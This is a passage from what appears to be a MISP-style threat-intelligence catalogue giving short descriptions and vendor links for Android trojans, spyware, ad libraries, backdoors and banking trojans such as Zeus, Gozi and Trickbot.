Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99 |
Smssniffer
Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99 |
Smsstealer
Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99 |
Smstibook
Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99 |
Smszombie
Smszombie is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99 |
Snadapps
Snadapps is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99 |
Sockbot
Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99 |
Sockrat
Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99 |
Sofacy
Sofacy is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99 |
Sosceo
Sosceo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99 |
Spitmo
Spitmo is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99 |
Spitmo.B
Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99 |
Spyagent
Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99 |
Spybubble
Spybubble is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99 |
Spydafon
Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99 |
Spymple
Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99 |
Spyoo
Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99 |
Spytekcell
Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99 |
Spytrack
Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99 |
Spywaller
Spywaller is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99 |
Stealthgenie
Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99 |
Steek
Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99 |
Stels
Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99 |
Stiniter
Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99 |
Sumzand
Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99 |
Sysecsms
Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99 |
Tanci
Tanci is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99 |
Tapjoy
Tapjoy is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99 |
Tapsnake
Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone’s location and posts it to a remote web service.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99 |
Tascudap
Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99 |
Teelog
Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99 |
Temai
Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99 |
Tetus
Tetus is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99 |
Tgpush
Tgpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99 |
Tigerbot
Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99 |
Tonclank
Tonclank is a Trojan horse that steals information and may open a back door on Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99 |
Trogle
Trogle is a worm for Android devices that may steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99 |
Twikabot
Twikabot is a Trojan horse for Android devices that attempts to steal information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99 |
Uapush
Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99 |
Umeng
Umeng is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99 |
Updtbot
Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99 |
Upush
Upush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99 |
Uracto
Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99 |
Uranico
Uranico is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99 |
Usbcleaver
Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99 |
Utchi
Utchi is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99 |
Uten
Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99 |
Uupay
Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99 |
Uxipp
Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99 |
Vdloader
Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99 |
VDopia
VDopia is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99 |
Virusshield
Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99 |
VServ
VServ is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99 |
Walkinwat
Walkinwat is a Trojan horse that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99 |
Waps
Waps is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99 |
Waren
Waren is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99 |
Windseeker
Windseeker is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99 |
Wiyun
Wiyun is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99 |
Wooboo
Wooboo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99 |
Wqmobile
Wqmobile is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99 |
YahooAds
YahooAds is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99 |
Yatoot
Yatoot is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99 |
Yinhan
Yinhan is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99 |
Youmi
Youmi is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99 |
YuMe
YuMe is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99 |
Zeahache
Zeahache is a Trojan horse that elevates privileges on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99 |
ZertSecurity
ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99 |
ZestAdz
ZestAdz is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99 |
Zeusmitmo
Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99 |
SLocker
The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.
SLocker is also known as:
-
SMSLocker
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/ |
Loapi
A malware strain known as Loapi will damage phones if users don’t remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone’s components, which will make the battery bulge, deform the phone’s cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.
Links |
Podec
Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.
Links |
Chamois
Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device’s app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.
IcicleGum
IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library’s code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
BreadSMS
BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user’s consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
JamSkunk
JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.
Expensive Wall
Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
BambaPurple
BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
KoreFrog
KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
Gaiaphish
Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user’s privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
RedDrop
RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.
Links |
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/ |
HenBox
HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.
Links |
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/ |
MysteryBot
Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.
Links |
Skygofree
At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.
Links |
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/ |
BusyGasper
A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.
Links |
Triout
Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.
Links |
Backdoor
A list of backdoor malware..
Backdoor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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raw-data
WellMess
Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.
Links |
Rosenbridge
The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.
While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.
The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.
Links |
Banker
A list of banker malware..
Banker is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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Unknown - raw-data
Zeus
Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.
Zeus is also known as:
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Zbot
Links |
https://usa.kaspersky.com/resource-center/threats/zeus-virus |
Vawtrak
Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.
Vawtrak is also known as:
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Neverquest
Dridex
Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.
Dridex is also known as:
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Feodo Version D
Links |
Gozi
Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010
Gozi is also known as:
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Ursnif
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CRM
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Snifula
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Papras
Links |
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007 |
Goziv2
Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.
Goziv2 is also known as:
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Prinimalka
Links |
Gozi ISFB
Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.
Links |
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature |
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak |
Dreambot
Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.
Links |
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality |
GozNym
GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.
Links |
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/ |
Zloader Zeus
Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.
Zloader Zeus is also known as:
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Zeus Terdot
Links |
https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle |
Zeus VM
Zeus variant that utilizes steganography in image files to retrieve configuration file.
Zeus VM is also known as:
-
VM Zeus
Links |
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/ |
Zeus Sphinx
Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.
Links |
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/ |
Panda Banker
Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.
Panda Banker is also known as:
-
Zeus Panda
Links |
https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market |
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf |
Zeus KINS
Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it’s config in the registry.
Zeus KINS is also known as:
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Kasper Internet Non-Security
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Maple
Links |
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/ |
Chthonic
Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.
Chthonic is also known as:
-
Chtonic
Links |
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/ |
Trickbot
Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan
Trickbot is also known as:
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Trickster
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Trickloader
Dyre
Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.
Dyre is also known as:
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Dyreza
Links |
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/ |
Tinba
Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.
Tinba is also known as:
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Zusy
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TinyBanker
-
illi
Geodo
Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.
Geodo is also known as:
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Feodo Version C
-
Emotet
Links |
Feodo
Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.
Feodo is also known as:
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Bugat
-
Cridex
Links |
http://stopmalvertising.com/rootkits/analysis-of-cridex.html |
Ramnit
Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.
Ramnit is also known as:
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Nimnul
Links |
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/ |
Qakbot
Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.
Qakbot is also known as:
-
Qbot
-
Pinkslipbot
Corebot
Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.
Links |
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/ |
TinyNuke
TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It’s main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.
TinyNuke is also known as:
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NukeBot
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Nuclear Bot
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MicroBankingTrojan
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Xbot
Retefe
Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.
Retefe is also known as:
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Tsukuba
-
Werdlod
ReactorBot
ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.
Matrix Banker
Matrix Banker is named accordingly because of the Matrix reference in it’s C2 panel. Distributed primarily via malspam emails.
Links |
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/ |
Zeus Gameover
Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.
Links |
SpyEye
SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.
Links |
https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf |
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot |
Citadel
Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.
Links |
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/ |
Atmos
Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.
Links |
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/ |
Ice IX
Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.
Links |
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/ ] |
Zitmo
Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.
Links |
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/ |
Licat
Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011
Licat is also known as:
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Murofet
Links |
https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/ |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A |
Skynet
Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.
Links |
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/ |
IcedID
According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.
GratefulPOS
GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.
Links |
Dok
A macOS banking trojan that that redirects an infected user’s web traffic in order to extract banking credentials.
Links |
downAndExec
Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.
Links |
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/ |
Smominru
